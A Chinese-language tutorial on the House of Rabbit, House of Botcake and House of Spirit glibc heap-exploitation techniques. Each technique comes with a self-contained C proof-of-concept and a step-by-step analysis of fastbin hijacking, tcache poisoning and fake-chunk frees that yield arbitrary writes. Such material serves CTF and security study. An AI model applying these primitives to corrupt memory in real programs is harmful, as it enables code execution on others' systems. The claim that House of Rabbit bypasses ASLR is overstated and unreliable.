House of 系列堆漏洞详解(二)
House of Rabbit
原理
House of Rabbit是一种利用堆管理机制实现任意地址分配的漏洞利用技术。当程序满足以下三个条件时可以利用:
-
可以分配任意大小的堆块并且释放,主要包括三类:
- fastbin大小的堆块
- smallbin大小的堆块
- 较大的堆块(用于分配到任意地址处)
-
存在一块已知地址的内存空间,并可以任意写至少0x20长度的字节
-
存在fastbin dup、UAF等漏洞,用于劫持fastbin的fd指针
利用流程
-
扩大top chunk的size:
- 通过连续malloc然后free两次超大chunk(如0xa00000),会扩大top chunk的size
-
构造fake chunk:
- 在可控内存处伪造两个chunk:
- 一个大小为0x11,用于绕过检查
- 一个为0xfffffffffffffff1,保证可覆盖任意地址并设置了inuse位
- 在可控内存处伪造两个chunk:
-
链接fake chunk:
- 利用其他漏洞将0xfffffffffffffff1大小的fake chunk链接到fastbin链表
- free触发malloc_consolidate,用于对fastbin合并,并放到unsorted bin中
-
分配任意地址:
- 申请一个超大chunk,0xfffffffffffffff1大小的fake chunk会链接到largebin
- 最后申请任意长度的地址,使堆块地址上溢到当前堆地址的低地址位置
PoC代码分析
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void evict_tcache(size_t size);
char target[0x30] = "Hello, World!";
unsigned long gbuf[8] = {0};
int main(void){
void *p, *fast, *small, *fake;
char *victim;
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("House of Rabbit Poc\n\n");
printf("0. 关闭0x20,0x90 chunks的tcache (glibc version >= 2.26)\n\n");
evict_tcache(0x18);
evict_tcache(0x88);
printf("1. 'av->system_mem > 0xa00000'\n");
p = malloc(0xa00000);
printf(" 在%p通过mmap申请0xa00000 byte大小的内存, 然后free.\n", p);
free(p);
p = malloc(0xa00000);
printf(" 在%p通过mmap申请0xa00000 byte大小的内存, 然后free.\n", p);
free(p);
printf(" 'av->system_mem'将会比0xa00000大.\n\n");
printf("2. Free fast chunk插入fastbins链表\n");
fast = malloc(0x18);
small = malloc(0x88);
printf(" 申请fast chunk和small chunk.\n"
" fast = %p\n"
" small = %p\n", fast, small);
free(fast);
printf(" Free fast chunk.\n\n");
printf("3. 在.bss构造fake_chunk\n");
gbuf[0] = 0xfffffffffffffff0;
gbuf[1] = 0x10;
gbuf[3] = 0x21;
gbuf[7] = 0x1;
printf(" fake_chunk1 (size: 0x%lx) is at %p\n"
" fake_chunk2 (size: 0x%lx) is at %p\n\n",
gbuf[3], &gbuf[2], gbuf[1], &gbuf[0]);
fake = &gbuf[2];
printf("漏洞利用(UAF,fastbins dup等)\n"
"*fast = %p\n", fake);
*(unsigned long**)fast = fake;
printf(" fastbins list: [%p, %p, %p]\n\n",
fast-0x10, fake, *(void**)(fake+0x10));
printf("4. 调用malloc_consolidate\n"
" Free和top相邻的small chunk(%p),将fake_chunk1(%p)插入unsorted bins链表.\n\n",
small, fake);
free(small);
printf("5. 将unsorted bins链接到合适的链表\n"
" 将fake_chunk1的size重写为0xa0001来绕过'size < av->system_mem'检查.\n");
gbuf[3] = 0xa00001;
malloc(0xa00000);
printf(" 申请一个超大chunk.\n"
" 现在,fake_chunk1会链接到largebin[126](max).\n"
" 然后,将fake_chunk1的size改为0xfffffffffffffff1.\n\n");
gbuf[3] = 0xfffffffffffffff1;
printf("6. 覆写.data段上的目标值\n"
" 目标值位于%p\n"
" 覆写之前是: %s\n", &target, target);
malloc((void*)&target - (void*)(gbuf+2) - 0x20);
victim = malloc(0x10);
printf(" 在%p申请0x10 byte,然后任意写入.\n", victim);
strcpy(victim, "Hacked!!");
printf(" 覆写之后是: %s\n", target);
}
关键步骤分析
-
扩大system_mem:
p = malloc(0xa00000); free(p); p = malloc(0xa00000); free(p);这会使得
av->system_mem大于0xa00000 -
构造fake chunk:
gbuf[0] = 0xfffffffffffffff0; gbuf[1] = 0x10; gbuf[3] = 0x21; gbuf[7] = 0x1;在.bss段构造了两个fake chunk
-
劫持fastbin:
*(unsigned long**)fast = fake;将fastbin的fd指针指向fake chunk
-
触发合并:
free(small);释放与top相邻的small chunk触发malloc_consolidate
-
修改size并分配:
gbuf[3] = 0xa00001; malloc(0xa00000); gbuf[3] = 0xfffffffffffffff1;修改fake chunk的size使其进入largebin
-
任意地址写:
malloc((void*)&target - (void*)(gbuf+2) - 0x20); victim = malloc(0x10); strcpy(victim, "Hacked!!");最终实现任意地址写
Glibc 2.26+的绕过
从Glibc2.26开始加入了tcache,可通过以下代码绕过:
void evict_tcache(size_t size){
void *p;
#if defined(GLIBC_VERSION) && (GLIBC_VERSION >= 26)
p = malloc(size);
#if (GLIBC_VERSION < 29)
free(p);
free(p);
malloc(size);
malloc(size);
*(void**)p = NULL;
malloc(size);
#else
#if (GLIBC_VERSION == 29)
char *counts = (char*)(((unsigned long)p & ~0xfff) + 0x10);
#else
uint16_t *counts = (char*)(((unsigned long)p & ~0xfff) + 0x10);
#endif
counts[(size+0x10>>4)-2] = 0xff;
#endif
#endif
}
利用思路
House of Rabbit漏洞可以绕过堆块的地址随机化保护(ASLR)达到任意地址分配的效果,因此在存在sh的文件中可直接getshell。
House of Botcake
原理
House of botcake利用手法只需要程序存在double free即可。主要步骤:
- 填充tcache bin链表
- 使用malloc从tcache bin链表中取出一个chunk
- 通过二次free将victim chunk加入tcache bin链表
- 利用堆块重叠将double free块的fd指针覆写为目标位置
- 再次malloc即可控制到目标位置,达到任意写操作
PoC代码分析
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main(){
puts("House of botcake Poc\n\n");
setbuf(stdin, NULL);
setbuf(stdout, NULL);
// 准备目标
intptr_t stack_var[4];
printf("目标地址是%p.\n\n", stack_var);
puts("堆布局构造");
puts("申请7个chunks(malloc(0x100))用于稍后填充tcache bin链表.");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
puts("为之后的合并申请一个prev chunk");
intptr_t *prev = malloc(0x100);
puts("申请用于double free的victim chunk.");
intptr_t *a = malloc(0x100);
printf("malloc(0x100): a=%p.\n", a);
puts("申请一个填充chunk防止top chunk合并.\n");
malloc(0x10);
puts("接下来可以造成堆块重叠");
puts("Step 1: 填充tcache bin链表");
for(int i=0; i<7; i++){
free(x[i]);
}
puts("Step 2: free victim chunk并链接到unsorted bin");
free(a);
puts("Step 3: free prev chunk使它和victim chunk合并.");
free(prev);
puts("Step 4: 使用malloc从tcache bin链表中取出一个chunk,然后通过二次free将victim chunk加入tcache bin链表\n");
malloc(0x100);
free(a);
puts("double free利用完成\n\n");
puts("tcache毒化");
puts("现在victim chunk被包含在一个更大的已释放块中,可以通过利用块重叠进行tcache毒化");
intptr_t *b = malloc(0x120);
puts("将victim chunk的fd指针覆写为目标位置");
b[0x120/8-2] = (long)stack_var;
puts("malloc申请到目标位置.");
malloc(0x100);
intptr_t *c = malloc(0x100);
printf("新申请的chunk位于%p\n", c);
assert(c == stack_var);
printf("已控制目标位置!\n\n");
return 0;
}
关键步骤分析
-
堆布局构造:
- 申请7个chunk填充tcache
- 申请prev chunk和victim chunk
- 申请一个填充chunk防止top chunk合并
-
填充tcache:
for(int i=0; i<7; i++){ free(x[i]); }填满tcache bin
-
释放victim chunk:
free(a);victim chunk进入unsorted bin
-
合并chunk:
free(prev);prev chunk和victim chunk合并
-
double free:
malloc(0x100); free(a);从tcache取出一个chunk后,再次free victim chunk实现double free
-
tcache毒化:
b[0x120/8-2] = (long)stack_var;利用堆块重叠修改fd指针
-
分配目标地址:
malloc(0x100); c = malloc(0x100);最终分配到目标地址
利用思路
该利用可以bypass double free的check,达到任意地址写,测试发现glibc2.30版本也可以利用。
House of Spirit
原理
通过伪造fastbin,再将一个目前可用的chunk的指针改写为伪造fastbin地址,将这个chunk free,相当于free一个假的fastbin堆块,然后再下次malloc的时候就会返回该假堆块。
PoC代码分析
#include <stdio.h>
#include <stdlib.h>
int main(){
fprintf(stderr, "House of Spirit Poc\n\n");
fprintf(stderr, "Step1: malloc初始化堆内存\n\n");
malloc(1);
fprintf(stderr, "Step2: 覆盖一个堆指针指向伪造的fastbin区域\n");
unsigned long long *a;
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr, "\t这片区域(长度为:%lu)包含两个fake chunk.\n", sizeof(fake_chunks));
fprintf(stderr, "\t第一个fake chunk位于%p\n", &fake_chunks[1]);
fprintf(stderr, "\t第二个fake chunk位于%p\n", &fake_chunks[9]);
fake_chunks[1] = 0x40;
fprintf(stderr, "\t第二个fake chunk的size必须大于2*SIZE_SZ(x64上>16) && 小于av->system_mem,用于绕过nextsize检查\n");
fake_chunks[9] = 0x1234; // nextsize
fprintf(stderr, "\t覆盖堆指针指向第一个fake chunk%p\n\n", &fake_chunks[1]);
a = &fake_chunks[2];
fprintf(stderr, "Step3: free被覆盖堆指针的堆\n\n");
free(a);
fprintf(stderr, "Step4: malloc申请到fake chunk\n");
fprintf(stderr, "\t再次malloc将会在%p返回fake chunk%p\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "\tmalloc(0x30): %p\n", malloc(0x30));
}
关键步骤分析
-
初始化堆内存:
malloc(1); -
构造fake chunk:
unsigned long long fake_chunks[10] __attribute__ ((aligned (16))); fake_chunks[1] = 0x40; fake_chunks[9] = 0x1234;构造两个fake chunk,设置合理的size
-
覆盖指针:
a = &fake_chunks[2];将指针指向fake chunk
-
free伪造的chunk:
free(a);将fake chunk加入fastbin
-
分配fake chunk:
malloc(0x30);最终分配到fake chunk
tcache版本
glibc2.26之后加入了tcache机制,tcache在提高内存管理效率的同时,安全性有所下降。tcache house of spirit只需伪造一个size区域,然后将伪造的fake chunk释放,再次malloc相应大小就可以得到fake_chunk。
利用思路
house_of_spirit可以进行任意地址写,可以改写为system直接getshell,也可以进一步利用。
总结
House of系列堆漏洞的分析展示了多种堆利用技术。在glibc版本不断升级的同时,堆内的一些保护不断完善,但与此同时,像tcache这样的新增技术也暴露出新的漏洞。在后期的漏洞挖掘中,对这些新技术的漏洞挖掘应该更加重视。